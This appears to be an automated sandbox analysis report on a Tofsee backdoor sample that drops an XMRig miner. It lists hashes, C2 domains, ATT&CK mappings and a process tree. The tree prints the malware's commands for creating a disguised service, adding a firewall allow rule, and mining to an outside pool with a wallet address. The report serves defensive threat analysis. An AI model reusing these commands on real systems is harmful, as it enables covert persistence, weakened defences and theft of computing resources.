Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 08:10

General

  • Target

    35ca5ef18f678a30569bbd438f6a5b1d.exe

  • Size

    177KB

  • MD5

    35ca5ef18f678a30569bbd438f6a5b1d

  • SHA1

    487433c4c33f1af8b87045ebdc0df76b46c7b0dd

  • SHA256

    66dac97c59b5cacc0ff9ade1f96ea85f242eb327c4ad7a5b63e9bdc6e549ebe0

  • SHA512

    39947ece578b2e73fc1147597eba7c802f3e90f4aaa487bc6fec74ddc2f4cc8f7a640e397ad01c7cf3ee366f528de2b7f8fc1e4054a12dfda775eb9e96cefd37

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\35ca5ef18f678a30569bbd438f6a5b1d.exe
    "C:\Users\Admin\AppData\Local\Temp\35ca5ef18f678a30569bbd438f6a5b1d.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4116
  • C:\Users\Admin\AppData\Local\Temp\3BFF.exe
    C:\Users\Admin\AppData\Local\Temp\3BFF.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bmkltrjw\
      2⤵
        PID:4028
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lcwwhomf.exe" C:\Windows\SysWOW64\bmkltrjw\
        2⤵
          PID:5072
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bmkltrjw binPath= "C:\Windows\SysWOW64\bmkltrjw\lcwwhomf.exe /d\"C:\Users\Admin\AppData\Local\Temp\3BFF.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bmkltrjw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2184
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bmkltrjw
          2⤵
          • Launches sc.exe
          PID:3124
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3756
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 1220
          2⤵
          • Program crash
          PID:2144
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:1056
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 868
            2⤵
            • Program crash
            PID:1044
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1056 -ip 1056
          1⤵
            PID:1644
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:1264
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2172 -ip 2172
              1⤵
                PID:5060
              • C:\Windows\SysWOW64\bmkltrjw\lcwwhomf.exe
                C:\Windows\SysWOW64\bmkltrjw\lcwwhomf.exe /d"C:\Users\Admin\AppData\Local\Temp\3BFF.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3104
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Sets service image path in registry
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1068
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1192
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 516
                  2⤵
                  • Program crash
                  PID:2808
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3104 -ip 3104
                1⤵
                  PID:608

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Persistence

                New Service

                1
                T1050

                Modify Existing Service

                1
                T1031

                Registry Run Keys / Startup Folder

                1
                T1060

                Privilege Escalation

                New Service

                1
                T1050

                Defense Evasion

                Modify Registry

                1
                T1112

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                3
                T1082

                Peripheral Device Discovery

                1
                T1120

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\3BFF.exe
                  Filesize

                  310KB

                  MD5

                  f4358961b07728cc44078646e18d5b6e

                  SHA1

                  b4e7752ceab9deb4b8a6d7fd36e01c094415e7be

                  SHA256

                  d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54

                  SHA512

                  6585aa068226d064e80e63101f07d9a1739b6acf214a1a00f6be4b4f4e29a865cba6f66fcec87a58dadfed5adcbf9fea4a3739279f99eb9e933f3e47446fbbc6

                • C:\Users\Admin\AppData\Local\Temp\3BFF.exe
                  Filesize

                  310KB

                  MD5

                  f4358961b07728cc44078646e18d5b6e

                  SHA1

                  b4e7752ceab9deb4b8a6d7fd36e01c094415e7be

                  SHA256

                  d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54

                  SHA512

                  6585aa068226d064e80e63101f07d9a1739b6acf214a1a00f6be4b4f4e29a865cba6f66fcec87a58dadfed5adcbf9fea4a3739279f99eb9e933f3e47446fbbc6

                • C:\Users\Admin\AppData\Local\Temp\lcwwhomf.exe
                  Filesize

                  10.5MB

                  MD5

                  62ff18f48d48e6fa1b56abd683d0797d

                  SHA1

                  fc2ac252f4d114a3942c23f78306a2655da06313

                  SHA256

                  bb78338f4a5c391dd2e6874343c5a7ff537732d7fc42e297dcd5c82fdcfcd8cb

                  SHA512

                  1e45b9f2defe7218ce965848f76fef369910861efafee0852fba92012f64dbe55c48f9720503286bb8de53b70d8f496bb8a509fa6559d7864d2ece4c3c3dc975

                • C:\Windows\SysWOW64\bmkltrjw\lcwwhomf.exe
                  Filesize

                  10.5MB

                  MD5

                  62ff18f48d48e6fa1b56abd683d0797d

                  SHA1

                  fc2ac252f4d114a3942c23f78306a2655da06313

                  SHA256

                  bb78338f4a5c391dd2e6874343c5a7ff537732d7fc42e297dcd5c82fdcfcd8cb

                  SHA512

                  1e45b9f2defe7218ce965848f76fef369910861efafee0852fba92012f64dbe55c48f9720503286bb8de53b70d8f496bb8a509fa6559d7864d2ece4c3c3dc975

                • memory/1056-147-0x0000000001000000-0x000000000106B000-memory.dmp
                  Filesize

                  428KB

                • memory/1056-146-0x0000000001070000-0x00000000010E4000-memory.dmp
                  Filesize

                  464KB

                • memory/1056-142-0x0000000000000000-mapping.dmp
                • memory/1068-171-0x0000000001D60000-0x0000000001D70000-memory.dmp
                  Filesize

                  64KB

                • memory/1068-164-0x00000000007C0000-0x00000000007D5000-memory.dmp
                  Filesize

                  84KB

                • memory/1068-158-0x00000000007C0000-0x00000000007D5000-memory.dmp
                  Filesize

                  84KB

                • memory/1068-157-0x0000000000000000-mapping.dmp
                • memory/1068-165-0x0000000002600000-0x000000000280F000-memory.dmp
                  Filesize

                  2.1MB

                • memory/1068-177-0x0000000007700000-0x0000000007B0B000-memory.dmp
                  Filesize

                  4.0MB

                • memory/1068-174-0x0000000001DF0000-0x0000000001DF5000-memory.dmp
                  Filesize

                  20KB

                • memory/1068-163-0x00000000007C0000-0x00000000007D5000-memory.dmp
                  Filesize

                  84KB

                • memory/1068-180-0x0000000002BD0000-0x0000000002BD7000-memory.dmp
                  Filesize

                  28KB

                • memory/1068-168-0x0000000001D30000-0x0000000001D36000-memory.dmp
                  Filesize

                  24KB

                • memory/1192-184-0x0000000001000000-0x00000000010F1000-memory.dmp
                  Filesize

                  964KB

                • memory/1192-183-0x0000000000000000-mapping.dmp
                • memory/1192-189-0x0000000001000000-0x00000000010F1000-memory.dmp
                  Filesize

                  964KB

                • memory/1264-148-0x0000000000000000-mapping.dmp
                • memory/1264-149-0x00000000008C0000-0x00000000008CC000-memory.dmp
                  Filesize

                  48KB

                • memory/2172-141-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/2172-136-0x0000000000000000-mapping.dmp
                • memory/2172-154-0x0000000000553000-0x0000000000564000-memory.dmp
                  Filesize

                  68KB

                • memory/2172-155-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/2172-140-0x0000000002120000-0x0000000002133000-memory.dmp
                  Filesize

                  76KB

                • memory/2172-139-0x0000000000553000-0x0000000000564000-memory.dmp
                  Filesize

                  68KB

                • memory/2184-151-0x0000000000000000-mapping.dmp
                • memory/2484-150-0x0000000000000000-mapping.dmp
                • memory/3104-162-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/3104-161-0x000000000077E000-0x000000000078E000-memory.dmp
                  Filesize

                  64KB

                • memory/3124-152-0x0000000000000000-mapping.dmp
                • memory/3756-153-0x0000000000000000-mapping.dmp
                • memory/4028-143-0x0000000000000000-mapping.dmp
                • memory/4116-130-0x0000000000BE8000-0x0000000000BF1000-memory.dmp
                  Filesize

                  36KB

                • memory/4116-135-0x0000000000400000-0x00000000008F6000-memory.dmp
                  Filesize

                  5.0MB

                • memory/4116-134-0x00000000009D0000-0x00000000009D9000-memory.dmp
                  Filesize

                  36KB

                • memory/4116-133-0x0000000000BE8000-0x0000000000BF1000-memory.dmp
                  Filesize

                  36KB

                • memory/4116-132-0x0000000000400000-0x00000000008F6000-memory.dmp
                  Filesize

                  5.0MB

                • memory/4116-131-0x00000000009D0000-0x00000000009D9000-memory.dmp
                  Filesize

                  36KB

                • memory/5072-144-0x0000000000000000-mapping.dmp